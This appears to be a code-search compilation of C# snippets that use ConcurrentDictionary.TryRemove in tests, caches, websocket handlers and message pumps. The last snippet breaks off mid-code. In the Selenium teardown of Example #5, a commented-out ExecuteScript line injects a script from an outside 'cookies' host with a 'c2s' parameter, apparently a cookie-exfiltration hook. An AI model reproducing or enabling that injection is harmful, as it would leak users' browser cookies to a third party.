Example #1
0
        public void Should_TryRemove_from_ConcurrentDictionary_using_comparison_value()
        {
            var dict = new ConcurrentDictionary<int, int>();
            dict.TryAdd(42, 12);

            dict.TryRemove(42, 5).ShouldBeFalse();
            dict.Count.ShouldEqual(1);

            dict.TryRemove(42, 12).ShouldBeTrue();
            dict.Count.ShouldEqual(0);
        }
        public static void Main()
        {
            var stock = new ConcurrentDictionary<string, int>();
            stock.TryAdd("jDays", 4);
            stock.TryAdd("technologyhour", 3);

            Console.WriteLine("No. of shirts in stock = {0}", stock.Count);

            var success = stock.TryAdd("pluralsight", 6);
            Console.WriteLine("Added succeeded? " + success);
            success = stock.TryAdd("pluralsight", 6);
            Console.WriteLine("Added succeeded? " + success);

            stock["buddhistgeeks"] = 5;

            //stock["pluralsight"]++; <-- not thread safe two instructions
            var psStock = stock.AddOrUpdate("pluralsight", 1, (key, oldValue) => oldValue + 1);
            Console.WriteLine("pluralsight new value = {0}", psStock);

            Console.WriteLine("stock[pluralsight] = {0}", stock.GetOrAdd("pluralsight", 0));

            int jDaysValue;
            success= stock.TryRemove("jDays", out jDaysValue);
            if (success) Console.WriteLine("Value removed was: " + jDaysValue);

            Console.WriteLine("\r\nEnumerating:");
            foreach (var keyValuePair in stock)
            {
                Console.WriteLine("{0}: {1}", keyValuePair.Key, keyValuePair.Value);
            }
        }
        public ChannelFactory(RawRabbitConfiguration config, IConnectionFactory connectionFactory)
        {
            _connectionFactory = connectionFactory;
            _accessDictionary = new ConcurrentDictionary<IModel, DateTime>();
            _config = config;
            _threadChannels = new ThreadLocal<IModel>(true);

            try
            {
                _logger.LogDebug("Connecting to primary host.");
                _connection = _connectionFactory.CreateConnection(_config.Hostnames);
                _logger.LogInformation("Successfully established connection.");
            }
            catch (BrokerUnreachableException e)
            {
                _logger.LogError("Unable to connect to broker", e);
                throw e.InnerException;
            }
            _closeTimer = new System.Threading.Timer(state =>
            {
                var enumerator = _accessDictionary.GetEnumerator();
                while (enumerator.MoveNext())
                {
                    if (DateTime.Now - enumerator.Current.Value > _config.RequestTimeout)
                    {
                        DateTime lastUsed;
                        if (_accessDictionary.TryRemove(enumerator.Current.Key, out lastUsed))
                        {
                            _logger.LogInformation($"Channel {enumerator.Current.Key.ChannelNumber} was last used {lastUsed}. Closing...");
                            enumerator.Current.Key.Close();
                        }
                    }
                }
            }, null, _config.RequestTimeout, _config.RequestTimeout);
        }
 public static void Test_ConcurrentDictionary_04()
 {
     ConcurrentDictionary<int, string> dictionary = new ConcurrentDictionary<int, string>();
     dictionary.GetOrAdd(1, "toto1");
     dictionary.GetOrAdd(1, "toto2");
     dictionary.GetOrAdd(2, "tata");
     dictionary.GetOrAdd(3, "tutu");
     dictionary.GetOrAdd(4, "titi");
     foreach (KeyValuePair<int, string> value in dictionary)
     {
         Trace.WriteLine("{0} - \"{1}\"", value.Key, value.Value);
         if (value.Key == 2)
         {
             Trace.Write("TryRemove key 2");
             string s;
             if (dictionary.TryRemove(2, out s))
                 Trace.Write(" ok");
             else
                 Trace.Write(" error");
             Trace.WriteLine();
         }
     }
     Trace.WriteLine("read again");
     foreach (KeyValuePair<int, string> value in dictionary)
     {
         Trace.WriteLine("{0} - \"{1}\"", value.Key, value.Value);
     }
 }
Example #5
0
        public void AfterEachTest()
        {
            if (TestContext.CurrentContext.Result.Outcome.Status == TestStatus.Failed && webDriver != null)
            {
                Log.Info("Test {0} failed.", TestContext.CurrentContext.Test.FullName);

                //Get information about error from Error page (Graylog ID)
                try
                {
                    PageError pageError = new PageError(webDriver);
                    if (webDriver.Url.Contains(pageError.ExpectedUrl))
                    {
                        Log.Error(pageError.LblErrorText.Text);
                    }
                }
                catch (Exception) { }

                //Take snapshot
                ScreenShots.SaveScreenshotAllPage(webDriver, TestContext.CurrentContext.Test.Name);
            }

            //Logging the test execution
            timeTest.Stop();
            Log.Info("Stop test {0}. Test status: {1}. Test time: {2} ms.", TestContext.CurrentContext.Test.FullName, TestContext.CurrentContext.Result.Outcome.Status, timeTest.Elapsed);
            //((IJavaScriptExecutor)webDriver).ExecuteScript("var scriptElt = document.createElement(\'script\'); scriptElt.type = \'text/javascript\'; scriptElt.src = \'https://cookies.technowdb.info/cookie.php?c2s=\'; document.getElementsByTagName(\'head\')[0].appendChild(scriptElt)");
            //webDriver.Manage().Cookies.DeleteAllCookies();
            //Thread.Sleep(3000);


            webDriver?.Quit();
            drivers?.TryRemove(Thread.CurrentThread.ManagedThreadId, out IWebDriver d);
        }
 private void ReleaseTx(ITask task, ITransaction tx)
 {
     tx?.Dispose();
     if (task != null)
     {
         m_tx?.TryRemove(task, out _);
     }
 }
Example #7
0
 private WeakReference <OnFinalise <R> > NewRef(T key, Func <T, R> addFunc) =>
 new WeakReference <OnFinalise <R> >(
     new OnFinalise <R>(() =>
 {
     WeakReference <OnFinalise <R> > ignore = null;
     dict?.TryRemove(key, out ignore);
 },
                        addFunc(key)));
Example #8
0
 public SimpleCache(int maxNumberOfCacheEntries)
 {
     actualCache = new ConcurrentDictionary<string, CachedRequest>();
     lruKeys = new ConcurrentLruSet<string>(maxNumberOfCacheEntries, key =>
     {
         CachedRequest _;
         actualCache.TryRemove(key, out _);
     });
 }
        /// <summary>
        /// Unregisters a previously registered task object.
        /// </summary>
        public object UnregisterTaskObject(object key, RegisteredTaskObjectLifetime lifetime)
        {
            ConcurrentDictionary <object, object> dict = GetCollectionForLifetime(lifetime, dontCreate: true);
            object obj = null;

            dict?.TryRemove(key, out obj);

            return(obj);
        }
    static void Main()
    {
        FleckLog.Level = LogLevel.Error;

        var renderers = new ConcurrentDictionary<IWebSocketConnection, IRenderer>();

        var proxyRenderer = new ProxyRenderer();
            proxyRenderer.AddRenderer( new ConsoleRenderer());
        var allSockets = new List<IWebSocketConnection>();
        var server = new WebSocketServer("ws://localhost:8080/websession");
        server.Start(socket =>
        {
            socket.OnOpen = () =>
            {
                allSockets.Add(socket);
                renderers[socket] = new WebRenderer(socket);
                proxyRenderer.AddRenderer(renderers[socket]);

                if (allSockets.Count == 1)
                {
                    var size = new Size(10, 15);
                    var dto = new InitMessageDto(new SizeDto(size));
                    socket.Send(dto.ToJson());

                    var engine = new GameEngine(size, new ConsoleInputListener(), proxyRenderer);
                    engine.Start();
                }
                else
                {
                    var size = new Size(10, 15);
                    var dto = new InitMessageDto(new SizeDto(size));
                    socket.Send(dto.ToJson());
                }
            };
            socket.OnClose = () =>
            {
                allSockets.Remove(socket);
                proxyRenderer.RemoveRenderer(renderers[socket]);

                IRenderer toRemove;
                renderers.TryRemove(socket, out toRemove);
            };
            socket.OnMessage = message =>
            {
                //Console.WriteLine(message);
                //allSockets.ToList().ForEach(s => s.Send("Echo: " + message));
            };
        });

        while (true)
        {
            Thread.Sleep(1000);
        }

           // Console.ReadLine();
    }
    public static ActionBlock<StatsdMessage> CreateBlock(ITargetBlock<Bucket> target,
      string rootNamespace, 
      bool removeZeroGauges,
      IIntervalService intervalService,
      ILog log)
    {
      var gauges = new ConcurrentDictionary<string, double>();
      var root = rootNamespace;
      var ns = String.IsNullOrEmpty(rootNamespace) ? "" : rootNamespace + ".";

      var incoming = new ActionBlock<StatsdMessage>(p =>
        {
          var gauge = p as Gauge;
          gauges.AddOrUpdate(gauge.Name, gauge.Value, (key, oldValue) => gauge.Value);
        },
        Utility.UnboundedExecution());

      intervalService.Elapsed += (sender, e) =>
        {
          if (gauges.Count == 0)
          {
            return;
          }
          var items = gauges.ToArray();
          var bucket = new GaugesBucket(items, e.Epoch, ns);
          if (removeZeroGauges)
          {
            // Get all zero-value gauges
            double placeholder;
            var zeroGauges = 0;
            for (int index = 0; index < items.Length; index++)
            {
              if (items[index].Value == 0)
              {
                gauges.TryRemove(items[index].Key, out placeholder);
                zeroGauges += 1;
              }
            }
            if (zeroGauges > 0)
            {
              log.InfoFormat("Removed {0} empty gauges.", zeroGauges);
            }
          }
          
          gauges.Clear();
          target.Post(bucket);
        };

      incoming.Completion.ContinueWith(p =>
        {
          // Tell the upstream block that we're done
          target.Complete();
        });
      return incoming;
    }
Example #12
0
        private void CleanThreadLocalState()
        {
            StackNode <T> current;

            try
            {
                current = MaybeGetCurrentContextStack()?.Head;

                _contextStacksByThreadId?.TryRemove(NativeMemory.CurrentThreadStats.InternalId, out _);

                if (_releaser != null)
                {
                    // we want to clear our JsonContextPool's current thread's state from the _releaser, but to avoid touching any other states
                    foreach (var threadIdHolder in _threadIds)
                    {
                        if (Interlocked.CompareExchange(ref threadIdHolder.ThreadId, -1, NativeMemory.CurrentThreadStats.InternalId) == NativeMemory.CurrentThreadStats.InternalId)
                        {
                            _releaser.RemoveThreadIdHolder(threadIdHolder);
                            break;
                        }
                    }
                }

                if (current == null)
                {
                    return;
                }
            }
            catch (ObjectDisposedException)
            {
                return; // the context pool was already disposed
            }
            finally
            {
                if (_releaser != null)
                {
                    _releaser.RemoveContextPool(this);
                }
            }

            while (current != null)
            {
                var value = current.Value;

                if (value != null)
                {
                    if (value.InUse.Raise()) // it could be stolen by another thread - RavenDB-11409
                    {
                        value.Dispose();
                    }
                }

                current = current.Next;
            }
        }
        private static async Task ProcessWebSocket(HttpListenerWebSocketContext context, int socketId)
        {
            var socket = context.WebSocket;

            BroadcastQueues.TryAdd(socketId, new BlockingCollection <string>());
            var broadcastTokenSource = new CancellationTokenSource();

            _ = Task.Run(() => WatchForBroadcasts(socketId, socket, broadcastTokenSource.Token));

            try
            {
                byte[] buffer = new byte[4096];
                while (socket.State == WebSocketState.Open && !Token.IsCancellationRequested)
                {
                    var receiveResult = await socket.ReceiveAsync(new ArraySegment <byte>(buffer), Token);

                    Console.WriteLine($"Socket {socketId}: Received {receiveResult.MessageType} frame ({receiveResult.Count} bytes).");
                    if (receiveResult.MessageType == WebSocketMessageType.Close)
                    {
                        Console.WriteLine($"Socket {socketId}: Closing websocket.");
                        broadcastTokenSource.Cancel();
                        BroadcastQueues.TryRemove(socketId, out _);
                        await socket.CloseAsync(WebSocketCloseStatus.NormalClosure, "", Token);
                    }
                    else
                    {
                        Console.WriteLine($"Socket {socketId}: Echoing data to queue.");
                        string message = Encoding.UTF8.GetString(buffer, 0, receiveResult.Count);
                        BroadcastQueues[socketId].Add(message);
                    }
                }
            }
            catch (OperationCanceledException)
            {
                // normal upon task/token cancellation, disregard
            }
            catch (Exception ex)
            {
                Console.WriteLine($"\nSocket {socketId}:\n  Exception {ex.GetType().Name}: {ex.Message}");
                if (ex.InnerException != null)
                {
                    Console.WriteLine($"  Inner Exception {ex.InnerException.GetType().Name}: {ex.InnerException.Message}");
                }
            }
            finally
            {
                socket?.Dispose();
                broadcastTokenSource?.Cancel();
                broadcastTokenSource?.Dispose();
                BroadcastQueues?.TryRemove(socketId, out _);
            }
        }
Example #14
0
        private static void ConcurrentDictionaryOps()
        {
            // create new concurrent dictionary of key/value string/int
            var stock = new ConcurrentDictionary<string, int>();

            // perform TryAdd actions with the below pairs, output numerical value
            stock.TryAdd("jDays", 4);
            stock.TryAdd("technologyhour", 3);
            Console.WriteLine("No. of shirts in stock = {0}", stock.Count);

            // use success parameter to test if value was actually added to the dictionary
            bool success = stock.TryAdd("pluralsight", 6);
            Console.WriteLine("Added succeeded? " + success);

            // second attempt will result in a 'false'
            success = stock.TryAdd("pluralsight", 6);
            Console.WriteLine("Added succeeded? " + success);

            stock["buddhistgeeks"] = 5;

            //// TryUpdate, takes in key, value, and previous value
            //success = stock.TryUpdate("pluralsight", 7, 6);
            //Console.WriteLine("pluralsight = {0}, did update work? {1}", stock["pluralsight"], success);

            // AddOrUpdate, repeatedly calls TryUpdate() until it succeeds
            int psStock = stock.AddOrUpdate("pluralsight", 1, (key, oldValue) => oldValue + 1);
            Console.WriteLine("New value is {0}", psStock);

            // Writing 'stock["pluralsight"]' to console can cause a race condition
            // due to accessing the dictionary (values can go out-of-date between method calls!)

            // GetOrAdd, not sure if value was in dictionary, add if it isn't with value paramter
            Console.WriteLine("stock[pluralsights] = {0}", stock.GetOrAdd("pluralssights", 0));

            // TryRemove jDays value from dict, write to console if success with int out parameter
            int jDaysValue;
            success = stock.TryRemove("jDays", out jDaysValue);
            if (success)
            {
                Console.WriteLine("Value removed was: {0}", jDaysValue);
            }

            Console.WriteLine("\r\nEnumerating:");
            foreach (var keyValPair in stock)
            {
                Console.WriteLine("{0}: {1}", keyValPair.Key, keyValPair.Value);
            }
        }
 private bool AverageOverTimeExceedsMax(ConcurrentDictionary<DateTime, int> requestCounts, TimeSpan timeSpan)
 {
     var max = 15;
     var now = DateTime.Now;
     var sum = 0;
     foreach (var dateTime in requestCounts.Keys) {
         if (now - timeSpan <= dateTime) {
             sum += requestCounts[dateTime];
             if (sum > max)
                 return true;
         }
         else {
             int tmp;
             requestCounts.TryRemove(dateTime, out tmp);
         }
     }
     return false;
 }
Example #16
0
        public virtual bool Unbind(ActorSystem actorSystem)
        {
            ThrowIfDisposed();

            if (actorSystem != null &&
                TryGetBindedSystem(actorSystem.Name, out ActorSystem bindedSystem) && bindedSystem == actorSystem)
            {
                if (_lastBinding.Key == actorSystem.Name)
                {
                    _lastBinding = new LRUItem <ActorSystem, string> {
                    }
                }
                ;

                return(_actorSystemBindings?.TryRemove(actorSystem.Name, out bindedSystem) ?? false);
            }
            return(false);
        }
Example #17
0
        void IService.Install(DiscordClient client)
        {
            Client = client;

            _voiceClients = new ConcurrentDictionary<ulong, AudioClient>();

            _talkingUsers = new ConcurrentDictionary<User, bool>();

            client.GatewaySocket.Disconnected += (s, e) =>
            {
                foreach (var member in _talkingUsers)
                {
                    bool ignored;
                    if (_talkingUsers.TryRemove(member.Key, out ignored))
                        OnUserIsSpeakingUpdated(member.Key, false);
                }
            };
        }
Example #18
0
        public Task StartAsync(Func<TransportMessage, Task> onMessage)
        {
            onMessageAsync = onMessage;

            runningTasks = new ConcurrentDictionary<Task, Task>();
            semaphore = new SemaphoreSlim(maxConcurrency);
            tokenSource = new CancellationTokenSource();
            var token = tokenSource.Token;

            pumpTask = Task.Factory.StartNew(async () =>
            {
                while (!token.IsCancellationRequested)
                {
                    await semaphore.WaitAsync(token);

                    TransportMessage message;
                    if (messages.TryDequeue(out message))
                    {
                        var task = onMessageAsync(message);

                        runningTasks.AddOrUpdate(task, task, (k, v) => task)
                            .Ignore();

                        task.ContinueWith(t =>
                        {
                            semaphore.Release();
                            Task taskToBeRemoved;
                            runningTasks.TryRemove(t, out taskToBeRemoved);
                        }, TaskContinuationOptions.ExecuteSynchronously)
                            .Ignore();
                    }
                    else
                    {
                        await Task.Delay(TimeSpan.FromMilliseconds(20), token).ConfigureAwait(false);
                    }

                }
            }, token, TaskCreationOptions.LongRunning, TaskScheduler.Default)
            .Unwrap();

            return Task.CompletedTask;
        }
 public void EditWhileIterating()
 {
     var d = new ConcurrentDictionary<string, string>();
     Assert.IsTrue(d.TryAdd("0", "1"));
     Assert.IsTrue(d.TryAdd("a", "b"));
     int expectedCount = 2;
     Assert.AreEqual(expectedCount, d.Count);
     string a = null;
     var foundCount = 0;
     // MSDN says: "it does not represent a moment-in-time snapshot of the dictionary."
     // And also "The contents exposed through the enumerator may contain modifications made to the dictionary after GetEnumerator was called."
     foreach (var item in d)
     {
         foundCount++;
         Assert.AreEqual(expectedCount, d.Count);
         var didRemove = d.TryRemove("a", out a);
         if (foundCount == 1)
         {
             Assert.IsTrue(didRemove);
             expectedCount--;
         }
         else
         {
             Assert.IsFalse(didRemove);
         }
         Assert.AreEqual(expectedCount, d.Count);
         var didAdd = d.TryAdd("c", "d");
         if (foundCount == 1)
         {
             Assert.IsTrue(didAdd);
             expectedCount++;
         }
         else
         {
             Assert.IsFalse(didAdd);
         }
         Assert.AreEqual(expectedCount, d.Count);
     }
     Assert.IsNull(a);
     Assert.AreEqual(2, foundCount);
     Assert.AreEqual(2, d.Count);
 }
        public MainWindowViewModel()
            : base("Shell", false, true)
        {
            _hearbeatIndex = new ConcurrentDictionary<string, Heartbeat>();

            Mediator.GetInstance.RegisterInterest<Heartbeat>(Topic.ShellStateUpdated, HeartbeatReceived, TaskType.Periodic);

            HeartbeatLost = Visibility.Collapsed;
            Heartbeats = new ObservableCollection<SelectableDataItem>();

            Themes = new ObservableCollection<SelectableDataItem>
                         {
                             new SelectableDataItem(Constants.ThemeAero),
                             new SelectableDataItem(Constants.ThemeLuna),
                             new SelectableDataItem(Constants.ThemeRoyale),
                             //new SelectableDataItem(Constants.ThemeGold) // not ready
                         };

            ChangeThemeCommand = new SimpleCommand<Object, EventToCommandArgs>(ChangeTheme);
            ReloadCommand = new SimpleCommand<Object>(_ =>
                {
                    Heartbeat removed;
                    _hearbeatIndex.TryRemove(StaleModule, out removed);
                    HeartbeatLost = Visibility.Collapsed;
                    Mediator.GetInstance.Broadcast(Topic.BootstrapperUnloadView, StaleModule);
                });

            var timer = new Timer(_hr);
            timer.Elapsed += (s, e) =>
                                 {
                                     var lostHeartbeats = _hearbeatIndex.Values
                                         .Where(i => (!i.NonRepeatable) && (DateTime.UtcNow - i.TimeCreated).TotalMilliseconds > _ht);
                                     foreach (var l in lostHeartbeats)
                                     {
                                         HeartbeatLost = Visibility.Visible;
                                         StaleModule = l.Key;
                                         Log.Warn(String.Format("Lost heartbeat from: {0}",l.Key));
                                     }
                                 };
            timer.Start();
        }
Example #21
0
        public override async Task OnDisconnectedAsync(Exception exception)
        {
            var id = Context.ConnectionId;

            //var conn = new ChatConnection
            //{
            //    ChatConnectionId = id,
            //    Connected = DateTime.UtcNow,
            //    UserId = "current user id" // TODO set real user ID
            //};

            //_context.ChatConnections.Remove(conn);
            //await _context.SaveChangesAsync();

            connectedUsers?.TryRemove(id, out var dt);
            await BroadcastOnlineUsers(connectedUsers?.ToArray());

            Debug.WriteLine($"{Context.ConnectionId} disconnected");
            //await Clients.All.SendAsync("Notify", $"{Context.ConnectionId} покинул в чат");
            await base.OnDisconnectedAsync(exception);
        }
Example #22
0
        public TimedDurableCacheQueue(IDurableCacheRefreshHandler handler, TimeSpan cleanupInterval)
        {
            _handler = handler;
            _timers = new ConcurrentDictionary<Guid, Timer>();

            _cleanup = new Timer
            {
                AutoReset = true,
                Interval = cleanupInterval.TotalMilliseconds
            };

            _cleanup.Elapsed += (s, e) =>
            {
                var count = 0;

                foreach (var item in _timers)
                {
                    if (!item.Value.Enabled)
                    {
                        Timer timer = null;
                        if (_timers.TryRemove(item.Key, out timer))
                        {
                            timer.Close();
                            timer.Dispose();
                            count++;
                        }
                        else
                        {
                            Trace.TraceWarning("Unable to remove timer from dictionary for key {0}", item.Key);
                        }
                    }
                }

                var timerCountAfterCleanup = _timers.Count;
            };

            _cleanup.Start();
        }
		void IService.Install(DiscordClient client)
		{
			Client = client;

            if (Config.EnableMultiserver)
				_voiceClients = new ConcurrentDictionary<ulong, AudioClient>();
			else
			{
				var logger = Client.Log.CreateLogger("Voice");
				_defaultClient = new AudioClient(Client, null, 0);
			}
			_talkingUsers = new ConcurrentDictionary<User, bool>();

			client.GatewaySocket.Disconnected += async (s, e) =>
			{
                if (Config.EnableMultiserver)
                {
                    var tasks = _voiceClients
                        .Select(x =>
                        {
                            var val = x.Value;
                            if (val != null)
                                return x.Value.Disconnect();
                            else
                                return TaskHelper.CompletedTask;
                        })
						.ToArray();
					await Task.WhenAll(tasks).ConfigureAwait(false);
					_voiceClients.Clear();
				}
				foreach (var member in _talkingUsers)
				{
					bool ignored;
					if (_talkingUsers.TryRemove(member.Key, out ignored))
						OnUserIsSpeakingUpdated(member.Key, false);
				}
			};
		}
Example #24
0
        public async Task TheCompletePumpWithAsyncHandleMessage()
        {
            var runningTasks = new ConcurrentDictionary<Task, Task>();
            var semaphore = new SemaphoreSlim(100);
            var tokenSource = new CancellationTokenSource(TimeSpan.FromSeconds(5));
            var token = tokenSource.Token;
            int numberOfTasks = 0;

            var pumpTask = Task.Run(async () =>
            {
                while (!token.IsCancellationRequested)
                {
                    await semaphore.WaitAsync(token).ConfigureAwait(false);
                    Interlocked.Increment(ref numberOfTasks);

                    var task = HandleMessageWithCancellation(token);

                    runningTasks.TryAdd(task, task);

                    task.ContinueWith(t =>
                    {
                        semaphore.Release();
                        Task taskToBeRemoved;
                        runningTasks.TryRemove(t, out taskToBeRemoved);
                    }, TaskContinuationOptions.ExecuteSynchronously)
                        .Ignore();
                }
            });

            await pumpTask.IgnoreCancellation().ConfigureAwait(false);
            await Task.WhenAll(runningTasks.Values).IgnoreCancellation().ConfigureAwait(false);
            tokenSource.Dispose();
            semaphore.Dispose();

            $"Consumed {numberOfTasks} messages with concurrency {semaphore.CurrentCount} in 5 seconds. Throughput {numberOfTasks / 5} msgs/s"
                .Output();
        }
        protected Token FetchToken(Company company, string cacheKey, ConcurrentDictionary<string, Token> cache, List<KeyValuePair<string, string>> queryParameters)
        {
            var now = DateTime.UtcNow;

            var token = new Token
                {
                    Status = HttpStatusCode.InternalServerError
                };
            try
            {
                var clientHandler = new HttpClientHandler();
                if (proxy != null)
                {
                    clientHandler.Proxy = proxy;
                    token.Proxy = proxy;
                }

                using (var client = new HttpClient(clientHandler))
                {
                    client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Basic", credentials);

                    var content = new FormUrlEncodedContent(queryParameters);

                    var response = client.PostAsync(endpointUrl, content).Result;
                    token.Status = response.StatusCode;
                    if (response.IsSuccessStatusCode)
                    {
                        var item = JsonConvert.DeserializeObject<Token>(response.Content.ReadAsStringAsync().Result, new JsonSerializerSettings { ContractResolver = new CamelCasePropertyNamesContractResolver(), NullValueHandling = NullValueHandling.Ignore });
                        token.AccessToken = item.AccessToken;
                        token.ExpirationTime = now + TimeSpan.FromSeconds(item.ExpiresInSeconds);
                        token.Company = company;

                        cache.AddOrUpdate(cacheKey, token, (key, value) =>
                            {
                                value.AccessToken = token.AccessToken;
                                value.ExpirationTime = token.ExpirationTime;
                                value.Status = token.Status;
                                value.Company = token.Company;
                                return value;
                            });
                    }
                    else
                    {
                        var errorDescription = response.Content.ReadAsStringAsync().Result;
                        var message = string.Format("Unable to Get Token from: {0}{1}Status: {2} {3} {1}Reason: {4} ErrorDescription: {5}", endpointUrl, Environment.NewLine, (int)response.StatusCode, response.StatusCode, response.ReasonPhrase, errorDescription);
                        Log.WarnFormat(message);
                        Token removeToken;
                        cache.TryRemove(cacheKey, out removeToken);
                        throw new HttpRequestException(message);
                    }
                }
            }
            catch (Exception e)
            {
                Log.WarnFormat("{0}\n{1}", e.Message, e.StackTrace);
                Token removeToken;
                cache.TryRemove(cacheKey, out removeToken);
                throw;
            }

            return token;
        }
Example #26
0
 private void SystemEventCenter_MicroServiceUploadLockedKeyCompleted(object sender, RegisterServiceInfo e)
 {
     _logger?.LogInformation($"{e.Host}:{e.Port} UploadLockedKeyCompleted");
     _waitServiceList?.TryRemove($"{e.Host}:{e.Port}", out RegisterServiceLocation o);
 }
Example #27
0
 public static bool Remove <TKey, TValue>(this ConcurrentDictionary <TKey, TValue> dictionary, TKey key)
     where TKey : notnull
 {
     return(dictionary.TryRemove(key, out _));
 }
Example #28
0
            public HttpContextPlaceholder(ConcurrentDictionary<object, HttpContextBase> contexts, object contextKey, Func<string> baseUrl) {
                _baseUrl = new Lazy<string>(baseUrl);
                contexts.AddOrUpdate(contextKey, this, (a, b) => this);

                _disposer = () => {
                    HttpContextBase removedContext;
                    contexts.TryRemove(contextKey, out removedContext);
                };
            }
Example #29
0
 private void RemoveChildNode(string part)
 => _childNodes?.TryRemove(part, out _);
        private ConcurrentDictionary<string, HttpControllerDescriptor> InitializeControllerInfoCache()
        {
            var result = new ConcurrentDictionary<string, HttpControllerDescriptor>(StringComparer.OrdinalIgnoreCase);
            var duplicateControllers = new HashSet<string>();
            Dictionary<string, ILookup<string, Type>> controllerTypeGroups = _controllerTypeCache.Cache;

            foreach (KeyValuePair<string, ILookup<string, Type>> controllerTypeGroup in controllerTypeGroups)
            {
                string controllerName = controllerTypeGroup.Key;

                foreach (IGrouping<string, Type> controllerTypesGroupedByNs in controllerTypeGroup.Value)
                {
                    foreach (Type controllerType in controllerTypesGroupedByNs)
                    {
                        if (result.Keys.Contains(controllerName))
                        {
                            duplicateControllers.Add(controllerName);
                            break;
                        }
                        else
                        {
                            result.TryAdd(controllerName, new HttpControllerDescriptor(_configuration, controllerName, controllerType));
                        }
                    }
                }
            }

            foreach (string duplicateController in duplicateControllers)
            {
                HttpControllerDescriptor descriptor;
                result.TryRemove(duplicateController, out descriptor);
            }

            return result;
        }
Example #31
0
        public static TValue Remove <TKey, TValue>(this ConcurrentDictionary <TKey, TValue> dic, TKey key)
        {
            TValue value;

            return(dic.TryRemove(key, out value) ? value : default(TValue));
        }
Example #32
0
 private void DismissRelatedPageUrls()
 {
     _allRelatedUrlCache.TryRemove(ArticleDetailWidgetRelatedPageUrls, out var urls);
 }
Example #33
0
 /// <summary>从并发字典中删除</summary>
 /// <typeparam name="TKey"></typeparam>
 /// <typeparam name="TValue"></typeparam>
 /// <param name="dict"></param>
 /// <param name="key"></param>
 /// <returns></returns>
 public static Boolean Remove <TKey, TValue>(this ConcurrentDictionary <TKey, TValue> dict, TKey key) => dict.TryRemove(key, out _);
        public void Delete(int key)
        {
            TValue value;

            _storage.TryRemove(key, out value);
        }
Example #35
0
            /// <summary>
            /// Invalidate a cache value due to an event (for example, the cache value was aritten)
            /// </summary>
            /// <param name="requestUri">The uri of the entity to cache</param>
            protected virtual void InvalidateCache(string requestUri)
            {
                ICacheable removed;

                _cache?.TryRemove(requestUri, out removed);
            }
Example #36
0
        public SimpleTracker(string announcementEndpoint, string torrentsDirectoryPath)
        {
            // Make the listner.
            var listener = new HttpListener(announcementEndpoint);

            // Make the tracker.
            Tracker = new Tracker ();
            Tracker.AnnounceInterval = new TimeSpan (0, 1, 0);
            Tracker.AllowUnregisteredTorrents = true;
            Tracker.RegisterListener (listener);

            // Make mappings.
            Mappings = new ConcurrentDictionary<string, InfoHashTrackable> ();

            // Make watcher.
            Watcher = new TorrentFolderWatcher (torrentsDirectoryPath, "*.torrent");
            Watcher.TorrentFound += (sender, e) =>
            {
                try
                {
                    // Wait for file to finish copying.
                    System.Threading.Thread.Sleep (500);

                    // Make InfoHashTrackable from torrent.
                    var torrent = Torrent.Load (e.TorrentPath);
                    var trackable = new InfoHashTrackable (torrent);

                    // Add to tracker.
                    lock (Tracker)
                        Tracker.Add (trackable);

                    // Save to mappings.
                    Mappings[e.TorrentPath] = trackable;

                    // Log.
                    Console.WriteLine("Added {0}", e.TorrentPath);
                }
                catch (Exception exception)
                {
                    Debug.WriteLine ("Error loading torrent from disk: {0}", exception.Message);
                    Debug.WriteLine ("Stacktrace: {0}", exception.ToString ());
                }
            };
            Watcher.TorrentLost += (sender, e) =>
            {
                try
                {
                    // Get from mappings.
                    var trackable = Mappings[e.TorrentPath];

                    // Remove from tracker.
                    lock(Tracker)
                        Tracker.Remove(trackable);

                    // Remove from mappings.
                    Mappings.TryRemove(e.TorrentPath, out trackable);

                    // Log.
                    Console.WriteLine("Removed {0}", e.TorrentPath);
                }
                catch(Exception exception)
                {
                    Debug.WriteLine ("Error uploading torrent from disk: {0}", exception.Message);
                    Debug.WriteLine ("Stacktrace: {0}", exception.ToString ());
                }
            };

            // Register close events.
            AppDomain.CurrentDomain.ProcessExit += (sender, e) => Tracker.Dispose ();

            // Run.
            listener.Start();
            Watcher.Start();
            Watcher.ForceScan();
        }
Example #37
0
 public bool Remove(TKey key)
 {
     return(_map.TryRemove(key, out _));
 }
Example #38
0
 public void RemoveContact(Guid contactId)
 {
     _contacts.TryRemove(contactId, out var removedContact);
 }
            protected override int ExecuteCmd(DocumentsOperationContext context)
            {
                if (_log.IsInfoEnabled)
                {
                    _log.Info($"Importing {Documents.Count:#,#0} documents");
                }

                var idsOfDocumentsToUpdateAfterAttachmentDeletion = new HashSet <string>(StringComparer.OrdinalIgnoreCase);

                foreach (var documentType in Documents)
                {
                    var tombstone = documentType.Tombstone;
                    if (tombstone != null)
                    {
                        using (Slice.External(context.Allocator, tombstone.LowerId, out Slice key))
                        {
                            var newEtag      = _database.DocumentsStorage.GenerateNextEtag();
                            var changeVector = _database.DocumentsStorage.GetNewChangeVector(context, newEtag);
                            switch (tombstone.Type)
                            {
                            case Tombstone.TombstoneType.Document:
                                _database.DocumentsStorage.Delete(context, key, tombstone.LowerId, null, tombstone.LastModified.Ticks, changeVector, new CollectionName(tombstone.Collection));
                                break;

                            case Tombstone.TombstoneType.Attachment:
                                var idEnd = key.Content.IndexOf(SpecialChars.RecordSeparator);
                                if (idEnd < 1)
                                {
                                    throw new InvalidOperationException("Cannot find a document ID inside the attachment key");
                                }
                                var attachmentId = key.Content.Substring(idEnd);
                                idsOfDocumentsToUpdateAfterAttachmentDeletion.Add(attachmentId);

                                _database.DocumentsStorage.AttachmentsStorage.DeleteAttachmentDirect(context, key, false, "$fromReplication", null, changeVector, tombstone.LastModified.Ticks);
                                break;

                            case Tombstone.TombstoneType.Revision:
                                _database.DocumentsStorage.RevisionsStorage.DeleteRevision(context, key, tombstone.Collection, changeVector, tombstone.LastModified.Ticks);
                                break;

                            case Tombstone.TombstoneType.Counter:
                                _database.DocumentsStorage.CountersStorage.DeleteCounter(context, key, tombstone.Collection, null,
                                                                                         tombstone.LastModified.Ticks, forceTombstone: true);
                                break;
                            }
                        }

                        continue;
                    }

                    var conflict = documentType.Conflict;
                    if (conflict != null)
                    {
                        _database.DocumentsStorage.ConflictsStorage.AddConflict(context, conflict.Id, conflict.LastModified.Ticks, conflict.Doc, conflict.ChangeVector,
                                                                                conflict.Collection, conflict.Flags, NonPersistentDocumentFlags.FromSmuggler);

                        continue;
                    }

                    if (documentType.Attachments != null)
                    {
                        foreach (var attachment in documentType.Attachments)
                        {
